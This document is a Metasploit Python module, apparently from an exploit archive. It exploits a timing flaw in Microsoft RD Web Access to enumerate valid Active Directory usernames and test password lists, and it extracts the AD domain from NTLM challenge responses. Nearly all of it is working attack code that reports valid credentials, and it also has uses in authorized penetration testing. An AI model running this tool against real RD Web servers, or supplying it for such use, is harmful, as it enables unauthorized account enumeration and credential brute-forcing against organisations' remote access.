Remote Desktop Web Access suffers form an authentication timing attack vulnerability.
d7a6d2ac9acd853edd93517eab0a4f55#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# standard modules
from metasploit import module
# extra modules
DEPENDENCIES_MISSING = False
try:
import base64
import itertools
import os
import requests
except ImportError:
DEPENDENCIES_MISSING = True
# Metasploit Metadata
metadata = {
'name': 'Microsoft RDP Web Client Login Enumeration',
'description': '''
Enumerate valid usernames and passwords against a Microsoft RDP Web Client
by attempting authentication and performing a timing based check
against the provided username.
''',
'authors': [
'Matthew Dunn'
],
'date': '2020-12-23',
'license': 'MSF_LICENSE',
'references': [
{'type': 'url', 'ref': 'https://raxis.com/blog/rd-web-access-vulnerability'},
],
'type': 'single_scanner',
'options': {
'targeturi': {'type': 'string',
'description': 'The base path to the RDP Web Client install',
'required': True, 'default': '/RDWeb/Pages/en-US/login.aspx'},
'rport': {'type': 'port', 'description': 'Port to target',
'required': True, 'default': 443},
'domain': {'type': 'string', 'description': 'The target AD domain',
'required': False, 'default': None},
'username': {'type': 'string',
'description': 'The username to verify or path to a file of usernames',
'required': True, 'default': None},
'password': {'type': 'string',
'description': 'The password to try or path to a file of passwords',
'required': False, 'default': None},
'timeout': {'type': 'int',
'description': 'Response timeout in milliseconds to consider username invalid',
'required': True, 'default': 1250},
'enum_domain': {'type': 'bool',
'description': 'Automatically enumerate AD domain using NTLM',
'required': False, 'default': True},
'verify_service': {'type': 'bool',
'description': 'Verify the service is up before performing login scan',
'required': False, 'default': True},
'user_agent': {'type': 'string',
'description': 'User Agent string to use, defaults to Firefox',
'required': False,
'default': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'}
}
}
def verify_service(rhost, rport, targeturi, timeout, user_agent):
"""Verify the service is up at the target URI within the specified timeout"""
url = f'https://{rhost}:{rport}/{targeturi}'
headers = {'Host':rhost,
'User-Agent': user_agent}
try:
request = requests.get(url, headers=headers, timeout=(timeout / 1000),
verify=False, allow_redirects=False)
return request.status_code == 200 and 'RDWeb' in request.text
except requests.exceptions.Timeout:
return False
except Exception as exc:
module.log(str(exc), level='error')
return False
def get_ad_domain(rhost, rport, user_agent):
"""Retrieve the NTLM domain out of a specific challenge/response"""
domain_urls = ['aspnet_client', 'Autodiscover', 'ecp', 'EWS', 'OAB',
'Microsoft-Server-ActiveSync', 'PowerShell', 'rpc']
headers = {'Authorization': 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==',
'User-Agent': user_agent,
'Host': rhost}
session = requests.Session()
for url in domain_urls:
target_url = f"https://{rhost}:{rport}/{url}"
request = session.get(target_url, headers=headers, verify=False)
# Decode the provided NTLM Response to strip out the domain name
if request.status_code == 401 and 'WWW-Authenticate' in request.headers and \
'NTLM' in request.headers['WWW-Authenticate']:
domain_hash = request.headers['WWW-Authenticate'].split('NTLM ')[1].split(',')[0]
domain = base64.b64decode(bytes(domain_hash,
'utf-8')).replace(b'\x00',b'').split(b'\n')[1]
domain = domain[domain.index(b'\x0f') + 1:domain.index(b'\x02')].decode('utf-8')
module.log(f'Found Domain: {domain}', level='good')
return domain
module.log('Failed to find Domain', level='error')
return None
def check_login(rhost, rport, targeturi, domain, username, password, timeout, user_agent):
"""Check a single login against the RDWeb Client
The timeout is used to specify the amount of milliseconds where a
response should consider the username invalid."""
url = f'https://{rhost}:{rport}/{targeturi}'
body = f'DomainUserName={domain}%5C{username}&UserPass={password}'
headers = {'Host':rhost,
'User-Agent': user_agent,
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': f'{len(body)}',
'Origin': f'https://{rhost}'}
session = requests.Session()
report_data = {'domain':domain, 'address': rhost, 'port': rport,
'protocol': 'tcp', 'service_name':'RDWeb'}
try:
request = session.post(url, data=body, headers=headers,
timeout=(timeout / 1000), verify=False, allow_redirects=False)
if request.status_code == 302:
module.log(f'Login {domain}\\{username}:{password} is valid!', level='good')
module.report_correct_password(username, password, **report_data)
elif request.status_code == 200:
module.log(f'Password {password} is invalid but {domain}\\{username} is valid! Response received in {request.elapsed.microseconds / 1000} milliseconds',
level='good')
module.report_valid_username(username, **report_data)
else:
module.log(f'Received unknown response with status code: {request.status_code}')
except requests.exceptions.Timeout:
module.log(f'Login {domain}\\{username}:{password} is invalid! No response received in {timeout} milliseconds',
level='error')
except requests.exceptions.RequestException as exc:
module.log('{}'.format(exc), level='error')
return
def check_logins(rhost, rport, targeturi, domain, usernames, passwords, timeout, user_agent):
"""Check each username and password combination"""
for (username, password) in list(itertools.product(usernames, passwords)):
check_login(rhost, rport, targeturi, domain,
username.strip(), password.strip(), timeout, user_agent)
def run(args):
"""Run the module, gathering the domain if desired and verifying usernames and passwords"""
module.LogHandler.setup(msg_prefix='{} - '.format(args['RHOSTS']))
if DEPENDENCIES_MISSING:
module.log('Module dependencies are missing, cannot continue', level='error')
return
user_agent = args['user_agent']
# Verify the service is up if requested
if args['verify_service']:
service_verified = verify_service(args['RHOSTS'], args['rport'],
args['targeturi'], int(args['timeout']), user_agent)
if service_verified:
module.log('Service is up, beginning scan...', level='good')
else:
module.log(f'Service appears to be down, no response in {args["timeout"]} milliseconds',
level='error')
return
# Gather AD Domain either from args or enumeration
domain = args['domain'] if 'domain' in args else None
if not domain and args['enum_domain']:
domain = get_ad_domain(args['RHOSTS'], args['rport'], user_agent)
# Verify we have a proper domain
if not domain:
module.log('Either domain or enum_domain must be set to continue, aborting...',
level='error')
return
# Gather usernames and passwords for enumeration
if os.path.isfile(args['username']):
with open(args['username'], 'r') as file_contents:
usernames = file_contents.readlines()
else:
usernames = [args['username']]
if 'password' in args and os.path.isfile(args['password']):
with open(args['password'], 'r') as file_contents:
passwords = file_contents.readlines()
elif 'password' in args and args['password']:
passwords = [args['password']]
else:
passwords = ['wrong']
# Check each valid login combination
check_logins(args['RHOSTS'], args['rport'], args['targeturi'],
domain, usernames, passwords, int(args['timeout']), user_agent)
if __name__ == '__main__':
module.run(metadata, run)